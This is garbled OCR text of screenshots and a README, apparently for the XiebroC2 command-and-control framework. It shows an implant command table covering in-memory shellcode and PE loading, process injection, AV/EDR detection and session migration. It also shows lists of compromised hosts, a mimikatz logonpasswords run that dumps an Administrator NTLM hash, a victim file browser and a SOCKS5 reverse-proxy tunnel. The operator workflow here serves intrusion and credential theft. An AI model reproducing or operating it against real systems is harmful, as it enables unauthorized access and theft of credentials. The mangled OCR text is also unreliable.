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Teamserver

o Windows : win8-winll , windows server2012-2022

o Linux : 3X45F glibc 2.17B0_F (IERSE

B AR

Session>>she

[*] Tasked Session to run: shell whoami
[+] Host to called home, Sent: 155 Bytes

[+] received output:

desktop-k196dpf\administrator

:40]Session>>!

Demon Commands

Command

nps/nopowershell
Inline-Assembly
Execute-Assembly
Inline-Execute
Inline-Execute-Bin
shell

CheckAv

Upload

RunPE
RunShellcode
powershell
migration

Usage

nps <powershell command>
inline-assembly <FilePath> <args>
execute-assembly <FilePath> <args>
inline-execute <FilePath> <args>
inline-execute <FilePath> <args>
shell <cmd command>

CheckAv

Upload <UploadFilePath> <FilePath>
RunPE <FilePath> <args>
RunShellcode <BinPath> <args>
powershell <powershell command>
migration <Listener> <pid>
Bin-Injection <BinPath> <pid>

help

cls/clear

NTZ % Mimikatz

®:2

8 Manage % Web B Attack * View O Help

Intranet IP
e

©192.168.225.155

Listener pid User

asd ADMIN26DF\admin wsMain_amd64.exe Windows 11 (64bit) v4.0

Description

Unmanaged Run Powershell in memory
Inline Execute .Net assembly

Fork child process execute .net assembly
Inline Execute C/C++/Go PE file

Inline Execute C/C++/Go PE file
Execute cmd command

Detect EDR and AV processes

Upload files to the target environment
Loader PE file in memory

Loader shellcode file in memory
Execute powershell command

Migrate session to other process
inject Bin to other process

View command list

clear screen

Process os CLR Computer

ADMIN26DF

DESKTOP-K196DPF... wsMain_amd64.exe Windows 11 (64bit) v4.0 DESKTOP-K196DPF

root*
root*

wsMain Ubuntu 16.04 && Kernel. ubuntu-virtual-ma

wslMain Ubuntu 16.04 && Kernel. ubuntu-virtual-ma...

External IP

10.211.55.4

10.211.55.2

10.211.55.2
10.211.55.2

HWID

664D78...

9213512...

23E1A19.
23E1A19...

Event Logs

Session 160.254.8521 @516 Session 169.254.85.21 @3536

24:45]Session>>

[*] Tasked Session to run: Inline-Execute C:\Users\admin\Desktop\mimikatz.exe privilege::debug sekurlsa::logonpasswords

[+] Host to called home, Sent: 1516032 Bytes

mimikatz 2.2.0 (x64) #19041 Jul 23 2024 10:23:16

"A La Vie, A L'Amour” - (oe.eo0)

/*** Benjamin DELPY "gentilkiwi® ( benjamin@gentilkiwi.com )
> https://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX ( vincent. letoux@gmail.com )
> https://pingcastle.com / https://mysmartlogon.com ***/

nimikatz(commandline) # privilege: :debug
privilege '20' OK

nimikatz(commandline) # sekurlsa::logonpasswords
[+]

lAuthentication Id : @ ; 264828 (96000000:00040a7c)

Session : Interactive from 1

User Name Administrator

Domain DESKTOP-K196DPF

Logon Server : DESKTOP-K196DPF

[+] Logon Time 1 2025/1/11 12:

s1D : S-1-5-21-3082292462-1319426464-2548540947-500

[00000003] Primary

* Username : Administrator

* Domain  : DESKTOP-K196DPF

* NTLM : 32ed87bdbSfdc5e9cbass547376818d4

TeamServer VM:49MB __ OnlinePC:6 __ Controller:1

MHHETE
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@2

% Manage % Web H Attack

View © Help

Intranet IP Listener pid

asd 28496

asd 3536

asd 10733

10421

root*

asd root*

ADMIN26DF\admin

DESKTOP-K196DPF\...

https://github.com/INotGreen/XiebroC2

Process

wsMain_amdé4.exe Windows 11 (64bit)

wsMain_amd64.exe Windows 11 (64bit)

Ubuntu 16.04 && Kernel: 4.
Ubuntu 16.04 && Kernel.

wsMain
wslMain

Computer External IP

ADMIN26DF 10.211.55.4

DESKTOP-K196DPF 10.211.55.2

ubuntu-virtual-mac.. 10.21.55.2

ubuntu-virtual-mac... 10.211.55.2

Sleep

5s

Ss

5s
Ss

HWID

664D78...

9213512...

23E1A19...
23ETAT9..

Event Logs. Session 1692518521 @516 %)

Session 1692518521 @3536 X

File 1692543521@3536 X

C
v T Users
v 1 ADMINI~1
AppData
v 7 Local
Temp.
et
[E] 0d2ed158-798a-41c8-a2eb-67d9f61 al7e3.tmp
(] 28189091-792a-4¢03-ae 18-08fd5cee7464.tmp
[E] 30e14e5f-e3b4-4432-b11f-edb13a574fc1.tmp
[E] 37bfecad-b16¢-4529-801d-45ecfb6b3d91.tmp
[E] 381b5484-b156-41f0-aa1c-c2850655de52.tmp
B 41ad63b9-cb26-4765-a7ff-8312b6ee19e2.tmp
[E] 420cb8a6-f1 58-4988-baf0-5f5df9ccb88.tmp
] 60d2f68d-bbob-4458-b139-454dd9798ed0.tmp
] 66dataed-4965-44:

=1 C:/Users/ADMINI~1/AppData/Local/Temp

Name

Last Changed

permissions

{net

04/12/2024 16:56:21

-rxrwarwx_|

[E]0d2ed158-798a-41c8-a2eb-67d9f61a17e3.tmp
[E]28189091-792a-4¢03-ae18-08fd5cee7464.tmp
[E]30e14e5f-3b4-4432-b11f-edb13a574fc1.tmp
[E]37bfecad-b16c-4529-801d-45ecfbb3d91.tmp
[E]381b5484-b156-410-aa’c-c2850655de52.tmp
[E]41ad63b9-cb26-4765-a7ff-8312b6ee19e2.tmp
[E1420cb8a6-f158-4988-baf0-5f5df9ccIb88.tmp
[E]60d2f68d-bb9b-4458-b139-454dd9798ed0.tmp
[E]66dataed-4965-448f-a556-6d5d9bfd4d60.tmp
[E]6b8c9d30-c931-4c85-2862-a705a478d480.tmp

[E] 6b8c9d30-c931-4c85-a862-27052478d480.tmp
[E] 84d5da0b-abe9-4b97-be50-78f499f4dbd3.tmp
[E] 9acdf8ac-6a35-4f8c-ba05-cbd 1 1b8c68e5.tmp

PSES-2780

PSES-6444

PSES-6748

PSES-7432
& Pillager.zip

WPF
Eaxml
] a26a514a-79ad-4d89-b84d-a1faaabbabda.tmp
] aebebed-1h58-412¢-b718-efbfbSdb1975.tmp
[E] 2950250 1-58d9-4c38-b68f-d23d3230062c.tmp
[E] 298fe781-5173-41b5-9839-2a28c4fb0730.tmp

[Elarcanntican

B -4be9-4b97-bc50- tmp
[E]9acdfBac-6a35-4f8c-ba05-cbd 11b8c68e5.tmp

PSES-2780

PSES-6444

PSES-6748

PSES-7432
EDPillagerzip

WPF
Baxml
[Ela26a514a-79ad-4d89-b84d-a1faaabbbdatmp
[Elasebebcd-1b58-412c-b7f8-efbfb5db1975.tmp
[E]a95025d1-58d9-4c38-b68f-d23d3a30062c.tmp
[E]a98fe781-5173-41b5-9839-2a28c41b0730.tmp
Elaccountjson
[E1c3391164-ac2e-4{05-9dde-a16e58add8a2 tmp

09/12/2024 15:51:11
18/12/2024 21:17:02
09/12/2024 15:51:11
18/12/2024 11:31:44
09/12/2024 15:51:11
18/12/2024 11:31:44
11/12/2024 15:10:42
09/12/2024 15:51:11
11/01/2025 12:13:15
18/12/2024 11:31:44
18/12/2024 13:25:09
10/12/2024 16:58:15
26/11/2024 10:09:40
11/12/2024 16:43:32
07/12/2024 13:45:00
06/12/2024 15:07:03
20/11/2024 21:52:24
05/12/2024 132131
12/11/2024 18:26:08
09/12/2024 15:51:11
11/01/2025 12:30:54
18/12/2024 11:31:44
11/12/2024 15:10:45
11/01/2025 03:14:07
09/12/2024 15:51:11

-nw-rw-rw-
257.3KB
539.2KB
0B

0B

0B
105.6KB
0B

0B

0B

0B

0B
2.7KB
0B
133.3KB
81.3KB

0B

0B

0B

1608

494.6KB

-rw-rw-rw-

-rw-rw-rw-
-rw-rw-rw-
-rw-rw-rw-
-rw-rw-rw-
-rw-rw-rw-
-rw-rw-rw-
“TWXIWXTWX
WKWK
-
WKWK
“rW-rwrw-
WKWK
-rw

-rw-

-rw-

-rw-

-rw
-rw-rw-rw-

-rw-rw-rw-

TeamServer VM:4SMB__ OnlinePC:6___ Controler:1

IR

Web BlAttack * View © Help

Listener pid User

XasXXX 24104 ADMIN26DF\admin

Process 0s Computer

wsMain.exe Windows 11 (64bit) ADMIN26DF

External IP Note Sleep  HWID

10.211.55.4 5s 664D78...

fuent Log % Prosyinio® B

PC/User Computer
ADMIN26DF\... ADMIN26DF

Tunnel
7000

Type
SocksS

Host/Vps
10211554

@rroy

Socks
6722

HWID  HPID
664D786037... 23152

UserName  Passoword

admin 123

Tunnel :7000

Controller

Tunnel:
TeamServer VM:50MB ___ OninePC:1
Sockss:

RIZEFRFH

Enable Authentication

User:  admin

[+][01-14 14:53:00] [+] Cleared all reverse proxy entries under
"proxys’

[+1(01-14 18:01:58](+][01-14 18:01:58] [+] Add New Reverse Proxy
UserADMIN26DF\admin Socks5:6722 Tunnel:7000
|Computer:ADMIN26DF

Pass: 123

Help
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@32

% Manage % Web B Attack * View ©Help

Intranet IP Listener pid User Process 0s Computer External IP Note Sleep  HWID
Windows
=10.211.55.4 asd ADMIN26DF\admin wsMain.exe Windows 11 (64bit) ADMIN26DF 10.211.55.4 5s 664D78...
10.211.55.3 ADMIN9SBS\admin wsMain.exe Windows 10 (64bit) ADMIN95BS 10.211.55.3 Ss
+192.168.225.136 ADMIN\mary wsMain.exe Windows 7 (64bit) Admin 10.211.55.2 5s
Linux

2.168.225.155 root* wsMain Ubuntu 16.04 && Kernel: ... ubuntu-virtual-ma... 10.211.55.2 Ss
©192.168.225.155 root* wslMain Ubuntu 16.04 && Kernel. ubuntu-virtual-ma, 10.211.55.2 Ss

Event Log Topology@

50-142-generic

ubuntu-virtual-machine
Ubuntu 16.04 & Kernet: 4.1

TeamServer VM:21MB __OninePC:5 __Controler:1

Z
Windows Server2016
WebSocket

&

itps Server

‘WebSocket WebSocket

/

> \
XiebroC) TeamServer(api.whowii_us_com Nginx

WebSocket

‘WebSocket
Tep

WebSocket

Windows 10

b {E A

EIR(E R = HHIC M : Release

{8 FAAA: xiebroC2 Wiki

WS E MK TAY & A Luald@ft : Xiebro-Plugins
EREFAR © A Youtube TERATSM
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=K.

ATHIEZTAILTESFRA , BRGT HZEENTEE , RB T —LDgEENS BRI ER.
Teamserver 1 Controller A~FFJJ&.

TODO

o Z[BFFA&Powershell, VBscript, Hta, JscriptZpayload,
o FFHEZRBMAPIHEN , F{ELual BifM.
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